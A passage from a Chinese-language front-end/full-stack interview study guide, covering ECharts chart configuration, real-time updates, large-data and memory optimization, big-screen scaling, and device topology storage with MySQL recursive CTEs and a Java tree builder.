| 9 | Pinia 怎么做持久化? | ⭐⭐⭐ |
| 10 | 前端路由是怎么实现的?(history API) | ⭐⭐⭐⭐ |
第七章:ECharts 数据可视化(重点章)
你的简历项目三写了: “使用 Vue3 + ECharts 开发能源监控大屏与站点组态图,封装折线/仪表盘/热力图等十余个可复用图表组件,通过 WebSocket 推送 + 前端增量更新实现秒级数据刷新;针对大屏多图表场景采用按需注册与实例销毁策略,避免内存泄漏,大屏长时间运行内存稳定在 200MB 以内”
这每一句话都是考点,面试官可能追问:怎么封装的?实时刷新怎么做?大数据量怎么优化?内存泄漏怎么防治?本章全部展开。
7.1 ECharts 是什么?核心概念
小白讲解: ECharts 是百度开源的图表库,你只要准备一个有宽高的 div 容器和一份 option 配置对象,它就能画出各种图表。
// 最简三步
// ① 准备容器(必须有宽高!没宽高图表出不来)
<div ref="chartRef" style="width: 600px; height: 400px"></div>
// ② 初始化实例
const chart = echarts.init(chartRef.value);
// ③ 设置配置项
chart.setOption({
xAxis: { type: 'category', data: ['Mon', 'Tue', 'Wed'] },
yAxis: { type: 'value' },
series: [{ type: 'bar', data: [120, 200, 150] }]
});
渲染原理(Canvas vs SVG):
| 渲染器 | 原理 | 优点 | 缺点 | 适用 |
|---|---|---|---|---|
| Canvas(默认) | 位图绘制 | 性能好,适合大数据量 | 不能单独操作元素,缩放有锯齿 | 大屏、万级数据点 |
| SVG | 矢量 DOM 节点 | 清晰无损,可用 CSS 控制,可访问性好 | 节点多时卡(DOM 开销) | 小数据量、需要导出/打印 |
// 切换渲染器
echarts.init(el, null, { renderer: 'canvas' }); // 默认
echarts.init(el, null, { renderer: 'svg' }); // 矢量
你的项目选型: 能源大屏用 Canvas(设备数据点多、要高频刷新);如果需要导出成高清图片或打印,用 SVG。
7.2 option 配置结构(树形拓扑)
记住这个结构,面试官问“ECharts 配置项有哪些”就能系统性回答。
option(根配置)
├── title 标题
│ ├── text / subtext
│ └── left / top
├── legend 图例(点击可切换系列显示)
│ ├── data: ['系列1', '系列2']
│ └── orient / top / left
├── grid 直角坐标系的绘图区域(折线/柱状图用)
│ ├── left / right / top / bottom ← 控制留白,防止标签被裁
│ └── containLabel: true ★ 推荐,自动算上坐标轴标签空间
├── xAxis 横轴
│ ├── type: 'category'(类目)| 'value'(数值)| 'time'(时间)| 'log'
│ ├── data: [...]
│ └── axisLabel / name
├── yAxis 纵轴(同 xAxis,可配多个)
├── tooltip 鼠标悬浮提示
│ ├── trigger: 'axis'(坐标轴触发)| 'item'(数据项触发)
│ └── formatter 自定义内容(支持 HTML)
├── toolbox 工具栏(导出图片、数据视图、切换图表类型)
├── dataZoom 数据缩放(大数据量必备)
│ └── type: 'inside'(滚轮缩放)| 'slider'(滑块)
├── visualMap 视觉映射(热力图/地图按值映射颜色)
├── series ★★核心★★ 数据系列(一个 series 就是一组数据)
│ ├── type: 'line' | 'bar' | 'pie' | 'gauge' | 'heatmap' | 'graph' | 'tree' ...
│ ├── name 系列名(对应 legend)
│ ├── data 数据数组
│ ├── encode 数据编码(dataset 时用)
│ └── itemStyle / lineStyle / areaStyle / label 样式
├── dataset 数据集(推荐:数据与配置分离)
│ ├── source: [['product','销量'], ['A', 100], ['B', 200]]
│ └── dimensions
└── color 调色盘(系列默认配色)
⚠️ 新手最常见的坑:图表不显示
1. 容器没有宽高 → 最常见!必须给 div 设置 width/height
2. 容器是 display:none → 初始化时尺寸为 0,要显示后再 init 或 resize()
3. v-if 控制的容器 → 要用 nextTick 等 DOM 渲染完再 init
4. 数据格式不对 → series.data 要符合该图表类型要求的格式
7.3 常用图表类型与选型
| 图表 | type | 用途 | 你的项目场景 |
|---|---|---|---|
| 折线图 | line |
趋势变化(时间序列) | 设备温度/功率随时间变化曲线 |
| 柱状图 | bar |
分类对比 | 各站点发电量对比 |
| 饼图/环形图 | pie |
占比构成 | 能源类型占比(光伏/风电/储能) |
| 仪表盘 | gauge |
单值进度/阈值 | 设备负载率、SOC 电量 |
| 热力图 | heatmap |
二维密度/强度 | 24h × 7天 用电热力分布 |
| 雷达图 | radar |
多维对比 | 站点综合评分 |
| 散点图 | scatter |
相关性分析 | 温度 vs 效率散点 |
| 关系图 | graph |
网络拓扑 | 设备连接关系(第八章详讲) |
| 树图 | tree |
层级结构 | 站点 → 设备 → 传感器层级(第八章详讲) |
| 地图 | map |
地理分布 | 站点地理分布 |
| K线图 | candlestick |
金融数据 | — |
7.4 完整代码示例(你的项目三种图)
① 折线图(设备功率趋势,带实时刷新)
// 能源监控:近 24 小时功率曲线(多条线对比)
const powerOption = {
title: { text: '站点功率趋势', left: 'center' },
tooltip: {
trigger: 'axis', // 坐标轴触发:鼠标移到某列显示该时刻所有线
axisPointer: { type: 'cross' } // 十字准线
},
legend: { data: ['光伏', '风电', '储能'], top: 30 },
grid: { left: '3%', right: '4%', bottom: '3%', containLabel: true },
xAxis: {
type: 'time', // ★ 时间轴(比 category 更适合时序数据)
axisLabel: { formatter: '{HH}:{mm}' } // 只显示时分
},
yAxis: {
type: 'value',
name: '功率(kW)',
axisLabel: { formatter: '{value} kW' }
},
dataZoom: [ // ★ 大数据量必备:可缩放
{ type: 'inside', start: 0, end: 100 }, // 滚轮缩放
{ type: 'slider', height: 20, bottom: 10 } // 底部滑块
],
series: [
{
name: '光伏',
type: 'line',
smooth: true, // 平滑曲线
showSymbol: false, // ★ 数据点多时隐藏圆点(性能)
sampling: 'lttb', // ★ 降采样(见 7.6)
areaStyle: { opacity: 0.3 }, // 面积填充
data: pvData // 格式:[[timestamp, value], ...]
},
{ name: '风电', type: 'line', smooth: true, showSymbol: false, data: windData },
{ name: '储能', type: 'line', smooth: true, showSymbol: false, data: storageData }
]
};
chart.setOption(powerOption);
② 仪表盘(设备负载率)
// 设备实时负载率仪表盘(超过 80% 变红)
function getGaugeOption(value, max = 100) {
return {
series: [{
type: 'gauge',
min: 0, max,
splitNumber: 10,
radius: '90%',
axisLine: {
lineStyle: {
width: 18,
color: [
[0.6, '#67c23a'], // 0~60% 绿色
[0.8, '#e6a23c'], // 60~80% 黄色
[1, '#f56c6c'] // 80~100% 红色
]
}
},
pointer: { width: 5, length: '60%' },
axisTick: { distance: -18, length: 6, lineStyle: { color: '#fff', width: 1 } },
splitLine: { distance: -18, length: 18, lineStyle: { color: '#fff', width: 2 } },
axisLabel: { distance: 30, color: '#999', fontSize: 12 },
title: { offsetCenter: [0, '70%'], fontSize: 14 },
detail: {
offsetCenter: [0, '35%'],
fontSize: 28,
fontWeight: 'bold',
formatter: '{value}%',
color: 'inherit' // 跟随指针区间的颜色
},
data: [{ value, name: '当前负载' }]
}]
};
}
// 告警联动:负载超阈值时指针变红
watch(() => loadValue.value, (val) => {
chart.setOption(getGaugeOption(val));
});
③ 热力图(7×24 用电分布)
// 一周 7 天 × 24 小时的用电强度热力图
const hours = Array.from({length: 24}, (_, i) => `${i}:00`);
const days = ['周一','周二','周三','周四','周五','周六','周日'];
// 数据格式:[小时索引, 天索引, 数值]
const data = [];
for (let d = 0; d < 7; d++) {
for (let h = 0; h < 24; h++) {
data.push([h, d, Math.round(Math.random() * 100)]);
}
}
const heatmapOption = {
tooltip: {
position: 'top',
formatter: (p) => `${days[p.data[1]]} ${hours[p.data[0]]}<br/>用电量:${p.data[2]} kWh`
},
grid: { height: '60%', top: '10%' },
xAxis: { type: 'category', data: hours, splitArea: { show: true } },
yAxis: { type: 'category', data: days, splitArea: { show: true } },
visualMap: { // ★ 热力图核心:值 → 颜色映射
min: 0, max: 100,
calculable: true,
orient: 'horizontal',
left: 'center', bottom: '5%',
inRange: {
color: ['#313695','#4575b4','#74add1','#abd9e9','#e0f3f8',
'#ffffbf','#fee090','#fdae61','#f46d43','#d73027','#a50026']
}
},
series: [{
name: '用电量',
type: 'heatmap',
data,
label: { show: false },
emphasis: { itemStyle: { shadowBlur: 10, shadowColor: 'rgba(0,0,0,0.5)' } }
}]
};
7.5 实时刷新(WebSocket + 增量更新)
你简历写了“WebSocket 推送 + 前端增量更新实现秒级数据刷新”——这里是实现细节。
<script setup>
import { ref, onMounted, onUnmounted, shallowRef } from 'vue';
import * as echarts from 'echarts';
import { throttle } from '@/utils/throttle';
const chartRef = ref(null);
const chart = shallowRef(null); // ★ 用 shallowRef,避免大对象被深度响应式
let ws = null;
const MAX_POINTS = 500; // 最多保留 500 个点(防止无限增长)
const timeData = [];
const valueData = [];
onMounted(() => {
chart.value = echarts.init(chartRef.value);
chart.value.setOption(getBaseOption());
// ① 建立 WebSocket 连接
ws = new WebSocket('ws://localhost:8080/ws/device-metrics');
ws.onmessage = (e) => {
const point = JSON.parse(e.data); // { time: 1690000000000, value: 123.45 }
// ② 交给节流后的更新函数(后端每秒推 10 次,前端最多 2 秒更新一次)
throttledUpdate(point);
};
ws.onerror = (err) => console.error('WebSocket 错误', err);
ws.onclose = () => {
// ③ 断线重连(指数退避)
setTimeout(connect, 3000);
};
});
// ★ 关键:节流 + 增量更新
const throttledUpdate = throttle((point) => {
// 追加新数据点
timeData.push(point.time);
valueData.push(point.value);
// 超出上限,移除最老的(滑动窗口)
if (timeData.length > MAX_POINTS) {
timeData.shift();
valueData.shift();
}
// ★ 增量更新:只更新 series.data,不动其他配置
// 这样不会重绘整个图表,性能好
chart.value.setOption({
series: [{
data: timeData.map((t, i) => [t, valueData[i]])
}]
});
}, 500);
onUnmounted(() => {
ws?.close(); // 关连接
chart.value?.dispose(); // ★ 销毁图表实例
});
</script>
关键优化点(面试要能说出这 4 条):
① 节流限流
后端推送频率 >> 屏幕刷新率,用 throttle 限制前端渲染频率
(每秒推 10 次但屏幕只有 60Hz,渲染 10 次是浪费)
② 增量更新(setOption 合并)
setOption 默认是「合并」模式——只传变化的部分(series.data),
不用重新传完整 option,ECharts 内部做差量更新
⚠️ 如果要完全替换,用 setOption(newOption, true)(notMerge=true)
③ 滑动窗口(限制数据点数量)
数据无限增长会导致内存和渲染越来越慢
保留最近 N 个点(如 500 个),超出的 shift 掉
④ shallowRef 存实例
ECharts 实例是复杂大对象,用 ref 会被 Vue 深度代理,性能差且可能出问题
用 shallowRef 只代理第一层
7.6 大数据量优化(重点,大屏必考)
场景: 你的能源大屏要展示设备历史曲线,一天 86400 个数据点,直接渲染会卡死。
优化手段(按优先级)
① 降采样 sampling(最有效)
series: [{
type: 'line',
data: largeData, // 10 万个点
sampling: 'lttb', // ★ LTTB 降采样算法
showSymbol: false // 必须隐藏数据点符号
}]
LTTB(Largest-Triangle-Three-Buckets)算法原理:
原始 10 万个点 → 屏幕只有 800 像素宽,不可能每个点都画
LTTB 的做法:
① 把数据按屏幕宽度分成 N 个桶(bucket)
② 每个桶里选一个"最能代表这段趋势"的点(用三角形面积最大准则)
③ 最终选出 N 个点,保留视觉形状
原始: ∿∿∿∿∿∿∿∿∿∿∿∿∿∿∿∿ (100000 点)
↓ LTTB
采样: ∿∿∿∿∿∿∿∿ (800 点,形状几乎一致)
效果:10 万点 → 800 点,视觉上几乎无差别,渲染快 100 倍
其他 sampling 值: 'lttb'(最推荐,保形状)、'max'/'min'/'average'(取极值/均值,适合柱状图)。
② large 模式(散点图专用)
series: [{
type: 'scatter',
large: true, // ★ 开启大数据量优化
largeThreshold: 2000, // 超过 2000 个点自动启用
data: hugeScatterData // 支持百万级散点
}]
③ appendData(分片加载)
// 数据太大,分批追加(避免一次性 setOption 卡顿)
for (let i = 0; i < chunks.length; i++) {
chart.appendData({
seriesIndex: 0,
data: chunks[i] // 每次追加一批
});
}
④ 渐进渲染 progressive
series: [{
type: 'scatter',
progressive: 2000, // 每帧渲染 2000 个点,分多帧完成
progressiveThreshold: 3000, // 超过 3000 个点才启用渐进渲染
data: largeData
}]
// 效果:不阻塞主线程,用户能看到图表"逐渐画出来"
⑤ dataZoom + 只渲染可视区
// 只请求和渲染可视时间范围内的数据(后端配合)
dataZoom: [{ type: 'inside' }],
// 监听缩放事件,变化时向后端请求对应范围的数据
chart.on('dataZoom', (params) => {
const [start, end] = chart.getOption().dataZoom[0].start !== undefined
? [chart.getOption().dataZoom[0].start, chart.getOption().dataZoom[0].end]
: [0, 100];
const [startTime, endTime] = percentToTimeRange(start, end);
fetchDataInRange(startTime, endTime); // 按需请求
});
⑥ 关闭动画
// 大数据量时动画会很卡,直接关掉
chart.setOption({
animation: false, // 全局关闭动画
series: [{ animation: false }] // 或单个系列关闭
});
性能对比(面试可以说的数字):
| 数据量 | 未优化 | 优化后 |
|---|---|---|
| 1 万点 | ~200ms | ~30ms(sampling + 关动画) |
| 10 万点 | ~3s(卡死) | ~100ms(lttb 降采样) |
| 100 万散点 | 渲染不出 | ~500ms(large + progressive 分帧) |
7.7 内存泄漏防治(你简历写了“稳定 200MB”)
这正好对应你简历的“采用按需注册与实例销毁策略,避免内存泄漏,内存稳定在 200MB 以内”。
内存泄漏的 4 个来源 + 解法
① 图表实例没销毁
❌ 组件卸载时只置 null,ECharts 内部的 Canvas、事件监听还在
✅ onUnmounted 里 chart.dispose()
② 事件监听没移除
❌ window.addEventListener('resize', handler) 没 remove
✅ onUnmounted 里 removeEventListener(或用 ResizeObserver.disconnect)
③ 定时器没清除
❌ setInterval 轮询数据,组件销毁后还在跑
✅ onUnmounted 里 clearInterval
④ 数据无限累积
❌ 实时数据一直 push,数组越来越大
✅ 滑动窗口,超限 shift
完整防治代码
// composables/useChart.js —— 封装 ECharts 全生命周期管理
import { ref, shallowRef, onMounted, onUnmounted, onActivated, onDeactivated, nextTick } from 'vue';
import * as echarts from 'echarts';
export function useChart(getOption, deps = []) {
const chartRef = ref(null);
const chart = shallowRef(null); // ★ shallowRef 避免深度代理
let resizeObserver = null;
onMounted(async () => {
await nextTick(); // ★ 等 DOM 渲染完(容器要有尺寸)
if (!chartRef.value) return;
chart.value = echarts.init(chartRef.value);
chart.value.setOption(getOption());
// ★ 用 ResizeObserver 替代 window.resize(更精准,能监听容器自身尺寸变化)
resizeObserver = new ResizeObserver(() => {
chart.value?.resize();
});
resizeObserver.observe(chartRef.value);
});
// keep-alive 场景
onActivated(() => chart.value?.resize()); // 恢复时重新计算尺寸
onUnmounted(() => {
// ★★ 三重清理,缺一不可 ★★
resizeObserver?.disconnect(); // ① 停止监听
resizeObserver = null;
chart.value?.dispose(); // ② 销毁实例(释放 Canvas + 事件)
chart.value = null;
});
// 更新数据(增量)
function update(newOption) {
chart.value?.setOption(newOption); // 默认 merge 模式
}
// 完全替换(系列数量变化时用)
function replace(newOption) {
chart.value?.setOption(newOption, true); // notMerge = true
}
return { chartRef, chart, update, replace };
}
ECharts 按需引入(减小打包体积)
// ❌ 全量引入(打包 ~1MB,包含所有图表类型)
import * as echarts from 'echarts';
// ✅ 按需引入(只打包用到的,能减到 ~200KB)
import * as echarts from 'echarts/core';
import { LineChart, BarChart, PieChart, GaugeChart, HeatmapChart, GraphChart, TreeChart } from 'echarts/charts';
import {
GridComponent, TooltipComponent, LegendComponent, TitleComponent,
DataZoomComponent, VisualMapComponent, ToolboxComponent
} from 'echarts/components';
import { CanvasRenderer } from 'echarts/renderers';
// 注册(用到什么注册什么)
echarts.use([
LineChart, BarChart, PieChart, GaugeChart, HeatmapChart, GraphChart, TreeChart,
GridComponent, TooltipComponent, LegendComponent, TitleComponent,
DataZoomComponent, VisualMapComponent, ToolboxComponent,
CanvasRenderer
]);
export default echarts;
面试话术(对应简历那条): “我们的能源大屏有十几个图表长时间运行,最初发现内存持续增长——排查后是三个原因:图表实例没 dispose、resize 监听没移除、实时数据数组无限增长。
解决方案:封装了 useChart composable,在 onUnmounted 里统一做三重清理——ResizeObserver.disconnect()、chart.dispose()、清除定时器;实时数据用滑动窗口限制在 500 个点以内。另外 ECharts 改成按需引入(echarts/core + use()),只注册用到的图表类型,打包体积从 1MB 降到 200KB。改造后大屏连续运行 24 小时内存稳定在 200MB 以内。”
7.8 Vue3 中封装 ECharts 组件
<!-- components/EChart.vue —— 通用图表组件 -->
<script setup lang="ts">
import { ref, shallowRef, onMounted, onUnmounted, watch, nextTick } from 'vue';
import * as echarts from 'echarts';
interface Props {
option: Record<string, any>; // ECharts 配置
height?: string;
loading?: boolean;
}
const props = withDefaults(defineProps<Props>(), {
height: '400px', loading: false
});
const chartRef = ref<HTMLDivElement>();
const chart = shallowRef<echarts.ECharts>();
let observer: ResizeObserver | null = null;
onMounted(async () => {
await nextTick();
chart.value = echarts.init(chartRef.value!);
chart.value.setOption(props.option);
observer = new ResizeObserver(() => chart.value?.resize());
observer.observe(chartRef.value!);
});
// ★ 监听 option 变化,增量更新(父组件改数据,图表自动更新)
watch(() => props.option, (newOpt) => {
chart.value?.setOption(newOpt); // merge 模式
}, { deep: true }); // option 是嵌套对象,要深度监听
// loading 态
watch(() => props.loading, (val) => {
val ? chart.value?.showLoading() : chart.value?.hideLoading();
});
onUnmounted(() => {
observer?.disconnect();
chart.value?.dispose();
});
// 暴露方法给父组件(如导出图片)
defineExpose({
getChart: () => chart.value,
exportImage: () => chart.value?.getDataURL({ type: 'png', pixelRatio: 2 })
});
</script>
<template>
<div ref="chartRef" :style="{ width: '100%', height }"></div>
</template>
父组件使用:
<template>
<EChart :option="powerOption" height="350px" :loading="loading" />
</template>
<script setup>
import { computed } from 'vue';
import EChart from '@/components/EChart.vue';
const rawData = ref([]);
const loading = ref(false);
// ★ 用 computed 派生 option:数据变了,option 自动变,图表自动更新
const powerOption = computed(() => ({
tooltip: { trigger: 'axis' },
xAxis: { type: 'time' },
yAxis: { type: 'value', name: '功率(kW)' },
series: [{
type: 'line',
smooth: true,
showSymbol: false,
sampling: 'lttb',
data: rawData.value // ← 数据变 → computed 重算 → watch 触发 → setOption
}]
}));
</script>
⚠️ 注意: watch(option, { deep: true }) 深度监听大对象有性能开销。更好的做法是只监听数据(rawData),然后手动调 setOption 更新,而不是深度监听整个 option。
7.9 大屏适配方案
大屏项目必考:设计稿是 1920×1080,但客户屏幕可能是 4K 或笔记本。
方案对比
| 方案 | 做法 | 优点 | 缺点 |
|---|---|---|---|
| scale 缩放(推荐) | 按设计稿尺寸做,整体 transform: scale() |
简单,完美还原设计稿 | 四周可能有黑边 |
| rem/vw 适配 | 按屏幕比例动态设置根字号 | 无黑边,充满屏幕 | 需要所有尺寸用 rem,改造量大 |
| Grid 响应式布局 | 用 CSS Grid + 百分比 | 灵活 | 图表内部字号不好适配 |
scale 方案实现(最常用)
<!-- ScreenAdapter.vue -->
<script setup>
import { ref, onMounted, onUnmounted } from 'vue';
const props = defineProps({
width: { type: Number, default: 1920 }, // 设计稿宽
height: { type: Number, default: 1080 } // 设计稿高
});
const scale = ref(1);
const style = computed(() => ({
width: `${props.width}px`,
height: `${props.height}px`,
transform: `scale(${scale.value}) translate(-50%, -50%)`,
position: 'absolute',
left: '50%',
top: '50%',
transformOrigin: 'left top'
}));
function calcScale() {
// 取宽高比例的较小值,保证内容完整显示(contain 模式)
scale.value = Math.min(
window.innerWidth / props.width,
window.innerHeight / props.height
);
}
onMounted(() => {
calcScale();
window.addEventListener('resize', calcScale);
});
onUnmounted(() => {
window.removeEventListener('resize', calcScale); // ★ 记得移除
});
</script>
<template>
<div class="screen-wrapper">
<div :style="style">
<slot></slot> <!-- 大屏内容按 1920×1080 设计稿写死尺寸即可 -->
</div>
</div>
</template>
<style scoped>
.screen-wrapper {
width: 100vw; height: 100vh;
overflow: hidden;
background: #000;
}
</style>
图表内部也要跟着缩放: scale 方案下 Canvas 会被 CSS 拉伸,可能模糊。解决:图表容器按设计稿像素写,缩放由外层统一处理,ECharts 内部不用管(Canvas 会跟着 transform 缩放,轻微模糊可接受;要求高的话可以监听 scale 变化后 chart.resize())。
第七章 面试题汇总
| # | 题目 | 难度 |
|---|---|---|
| 1 | ECharts 的基本使用流程? | ⭐⭐⭐ |
| 2 | Canvas 和 SVG 渲染器的区别?怎么选? | ⭐⭐⭐⭐ |
| 3 | 图表不显示,可能是什么原因? | ⭐⭐⭐⭐ |
| 4 | 实时数据刷新怎么做?如何避免性能问题? | ⭐⭐⭐⭐⭐ |
| 5 | setOption 的 merge 和 notMerge 有什么区别? | ⭐⭐⭐⭐ |
| 6 | 万级/十万级数据点怎么优化? | ⭐⭐⭐⭐⭐ |
| 7 | LTTB 降采样是什么原理? | ⭐⭐⭐⭐⭐ |
| 8 | ECharts 内存泄漏怎么排查和防治? | ⭐⭐⭐⭐⭐ |
| 9 | 如何按需引入 ECharts 减小体积? | ⭐⭐⭐⭐ |
| 10 | 大屏适配怎么做?scale 方案原理? | ⭐⭐⭐⭐ |
| 11 | 如何在 Vue3 中封装 ECharts 组件? | ⭐⭐⭐⭐ |
| 12 | 为什么要用 shallowRef 存 ECharts 实例? | ⭐⭐⭐⭐⭐ |
| 13 | dataZoom 有什么用?大数据场景怎么用? | ⭐⭐⭐⭐ |
| 14 | 热力图的 visualMap 是做什么的? | ⭐⭐⭐ |
第八章:拓扑结构可视化(重点章)
你的简历项目三写了两处相关描述,这是全栈能力的最佳证明点:
- 后端:“设计设备拓扑图邻接表存储模型(MySQL 递归 CTE + Redis 缓存),支持万级设备节点层级查询”
- 前端:“使用 Vue3 + ECharts 开发能源监控大屏与站点组态图、交互式设备拓扑图”
前后端能讲通这一整条链路(DB 存储 → 后端查询 → 前端渲染 → 交互优化),是全栈工程师的核心说服力。
8.1 什么是拓扑图?
小白讲解: 拓扑图(Topology Graph)用来表示节点与节点之间的连接关系——不关心地理位置和物理尺寸,只关心“谁连着谁”。
网络拓扑: 设备层级拓扑(树形):
┌───┐ ┌──────┐
│ A ├────┬────┐ │ 站点A │
└───┘ │ │ └───┬───┘
┌───┴┐ ┌─┴───┐ ┌───────┼───────┐
│ B │ │ C │ ┌──┴──┐ ┌──┴──┐ ┌──┴──┐
└──┬─┘ └─────┘ │逆变器│ │逆变器│ │储能 │
│ └──┬──┘ └─────┘ └─────┘
┌──┴───┐ │
│ D │ ┌─────┴─────┐
└──────┘ ┌──┴──┐ ┌──┴──┐
│光伏板│ │光伏板│
(网状,任意连接) └──────┘ └──────┘
(树形,严格层级)
常见拓扑类型:
| 类型 | 结构 | 你的项目场景 |
|---|---|---|
| 树形拓扑 | 严格层级(父 → 子) | 站点 → 设备 → 传感器 |
| 网状拓扑 | 任意连接 | 设备间通信链路、管网 |
| 星型拓扑 | 一个中心连多个 | 网关 → 终端设备 |
| 环形/总线 | 首尾相连 | 电力线路走向 |
ECharts 对应的图表类型:
type: 'tree'—— 树形拓扑(自带布局算法)type: 'graph'—— 通用关系图(网状/星型等任意拓扑,可配力导向布局)
8.2 数据结构:邻接表(呼应你的简历设计)
你简历写了“邻接表存储模型(MySQL 递归 CTE + Redis 缓存)”,本节把这套设计讲透。
树的四种存储方案对比
场景:存储 站点 → 设备 → 传感器 的层级关系
┌─────────────────────────────────────────────────────────┐
│ 方案1:邻接表(Adjacency List)★ 你选的方案 │
│ ──────────────────────────────────────────────────── │
│ 表结构:device(id, name, parent_id) │
│ 数据: │
│ id=1, name='站点A', parent_id=NULL │
│ id=2, name='逆变器1', parent_id=1 │
│ id=3, name='光伏板1', parent_id=2 │
│ │
│ ✅ 优点:结构直观、插入/移动节点只需改 parent_id(O(1)) │
│ ❌ 缺点:查整棵树要递归(MySQL 8.0 用 CTE 解决) │
└─────────────────────────────────────────────────────────┘
┌─────────────────────────────────────────────────────────┐
│ 方案2:路径枚举(Path Enumeration / 物化路径) │
│ ──────────────────────────────────────────────────── │
│ 表结构:device(id, name, path) │
│ 数据: │
│ id=1, name='站点A', path='/1/' │
│ id=2, name='逆变器1', path='/1/2/' │
│ id=3, name='光伏板1', path='/1/2/3/' │
│ │
│ ✅ 优点:查子树用 LIKE '/1/%',一次查询搞定 │
│ ❌ 缺点:移动子树要更新所有后代的 path(数据量大时慢) │
└─────────────────────────────────────────────────────────┘
┌─────────────────────────────────────────────────────────┐
│ 方案3:闭包表(Closure Table) │
│ ──────────────────────────────────────────────────── │
│ 额外一张关系表:device_relation(ancestor_id, │
│ descendant_id, depth) │
│ 数据(记录所有祖先后代关系): │
│ (1, 1, 0) (1, 2, 1) (1, 3, 2) (2, 2, 0) (2, 3, 1)... │
│ │
│ ✅ 优点:查询任意层级关系都是 O(1) 简单 JOIN │
│ ❌ 缺点:冗余数据多(n 层树要存 O(n²) 条关系) │
└─────────────────────────────────────────────────────────┘
┌─────────────────────────────────────────────────────────┐
│ 方案4:嵌套集(Nested Set) │
│ ──────────────────────────────────────────────────── │
│ 表结构:device(id, name, lft, rgt) │
│ 用左右值编码,查子树用 BETWEEN │
│ │
│ ✅ 优点:查子树极快,无需递归 │
│ ❌ 缺点:插入/移动要重排大量节点,不适合频繁变动 │
└─────────────────────────────────────────────────────────┘
选型对比表(面试直接答这个):
| 方案 | 查子树 | 查祖先 | 插入 | 移动子树 | 适用 |
|---|---|---|---|---|---|
| 邻接表 | 需递归(CTE) | 需递归 | ✅ 快 | ✅ 快 | 层级变动频繁(你选它) |
| 路径枚举 | ✅ LIKE 一次查 | ✅ 解析 path | 快 | ❌ 改所有后代 | 查询为主、少变动 |
| 闭包表 | ✅ JOIN | ✅ JOIN | 慢(插多条) | 慢 | 查询极频繁、层级深 |
| 嵌套集 | ✅ BETWEEN | ✅ | ❌ 重排 | ❌ 重排 | 极少变动的静态树 |
你的选型理由(面试话术): “设备拓扑会频繁调整——新增设备、更换网关、站点重组,所以选了邻接表:移动节点只需 UPDATE 一条 parent_id,O(1) 代价。查询方面用 MySQL 8.0 的递归 CTE 一次查出整棵树,再用 Redis 缓存树形 JSON,避免每次都递归查询。”
MySQL 递归 CTE 查询(后端核心)
-- 表结构
CREATE TABLE device (
id BIGINT PRIMARY KEY,
name VARCHAR(100) NOT NULL,
parent_id BIGINT DEFAULT NULL, -- 父节点,根节点为 NULL
device_type VARCHAR(32), -- STATION / INVERTER / PANEL / SENSOR
status VARCHAR(16), -- ONLINE / OFFLINE / FAULT
INDEX idx_parent (parent_id)
);
-- ★ 递归 CTE:查出以某个站点为根的整棵子树(含层级深度和路径)
WITH RECURSIVE device_tree AS (
-- ① 锚成员(递归起点):根节点
SELECT
id, name, parent_id, device_type, status,
0 AS depth, -- 层级深度,根为 0
CAST(id AS CHAR(1000)) AS path -- 路径(防止递归结果超长要 CAST)
FROM device
WHERE id = #{rootId} -- 从指定站点开始
UNION ALL
-- ② 递归成员:不断 join 出下一层子节点
SELECT
d.id, d.name, d.parent_id, d.device_type, d.status,
dt.depth + 1, -- 深度 +1
CONCAT(dt.path, ',', d.id) -- 路径拼接
FROM device d
INNER JOIN device_tree dt ON d.parent_id = dt.id
WHERE dt.depth < 10 -- ★ 防止死循环/层级过深
)
SELECT * FROM device_tree ORDER BY path;
-- 查询结果示例:
-- id | name | parent_id | device_type | depth | path
-- 1 | 站点A | NULL | STATION | 0 | 1
-- 2 | 逆变器1 | 1 | INVERTER | 1 | 1,2
-- 5 | 光伏板1 | 2 | PANEL | 2 | 1,2,5
-- 6 | 光伏板2 | 2 | PANEL | 2 | 1,2,6
-- 3 | 逆变器2 | 1 | INVERTER | 1 | 1,3
⚠️ 生产注意事项(体现工程经验):
① 必须限制递归深度(WHERE dt.depth < 10)
—— 数据异常形成环(A.parent=B, B.parent=A)会无限递归,拖垮数据库
② CAST(id AS CHAR(1000)) 不能省
—— MySQL 递归 CTE 中,path 列的类型由第一次 SELECT 决定,
不 CAST 成足够长会被截断,报 "Data too long" 错误
③ 加 parent_id 索引
—— 递归每轮都要按 parent_id 查,没索引会全表扫描
④ 大结果集要分页/限制
—— 万级节点一次性查出来,网络传输和前端渲染都很重
8.3 后端:构建树形 JSON 返回前端
后端查出来是平铺的列表(带 parent_id),前端 ECharts 需要嵌套的树形结构,转换在哪端做?
方案选择: 后端转(推荐)。理由:① 前端拿到就能直接用;② 树形 JSON 可以被 Redis 缓存,避免每次重建;③ 后端内存构建(HashMap)比前端 JS 快且可控。
// ============ DTO:树形节点 ============
@Data
public class DeviceNode {
private Long id;
private String name;
private String deviceType;
private String status; // ONLINE / OFFLINE / FAULT → 前端按状态着色
private Integer depth;
private List<DeviceNode> children; // 子节点(ECharts tree 直接认这个结构)
// 前端 ECharts 额外需要的字段(可选,也可在前端映射)
private Map<String, Object> extra; // 扩展属性:功率、温度等
}
// ============ Service:列表 → 树 ============
@Service
public class DeviceTopologyService {
@Autowired
private DeviceMapper deviceMapper;
@Autowired
private RedisTemplate<String, Object> redisTemplate;
private static final String TOPO_CACHE_KEY = "topology:station:";
private static final Duration CACHE_TTL = Duration.ofMinutes(30);
/**
* 获取站点拓扑树(带缓存)
*/
public DeviceNode getTopologyTree(Long stationId) {
String cacheKey = TOPO_CACHE_KEY + stationId;
// ① 查缓存
DeviceNode cached = (DeviceNode) redisTemplate.opsForValue().get(cacheKey);
if (cached != null) {
return cached;
}
// ② 缓存未命中:递归 CTE 查询平铺列表
List<DeviceFlat> flatList = deviceMapper.selectTreeByRootId(stationId);
if (flatList.isEmpty()) {
return null;
}
// ③ O(n) 构建树(关键算法)
DeviceNode root = buildTree(flatList);
// ④ 写缓存
redisTemplate.opsForValue().set(cacheKey, root, CACHE_TTL);
return root;
}
/**
* ★ 平铺列表 → 树形结构,O(n) 时间复杂度
*
* 思路:两遍遍历
* 第一遍:所有节点放进 Map(id → node)
* 第二遍:遍历列表,把每个节点挂到父节点的 children 里
*/
private DeviceNode buildTree(List<DeviceFlat> flatList) {
// 第一遍:id → node 映射
Map<Long, DeviceNode> nodeMap = new HashMap<>(flatList.size() * 2);
for (DeviceFlat flat : flatList) {
DeviceNode node = new DeviceNode();
node.setId(flat.getId());
node.setName(flat.getName());
node.setDeviceType(flat.getDeviceType());
node.setStatus(flat.getStatus());
node.setDepth(flat.getDepth());
node.setChildren(new ArrayList<>());
nodeMap.put(flat.getId(), node);
}
// 第二遍:挂接父子关系
DeviceNode root = null;
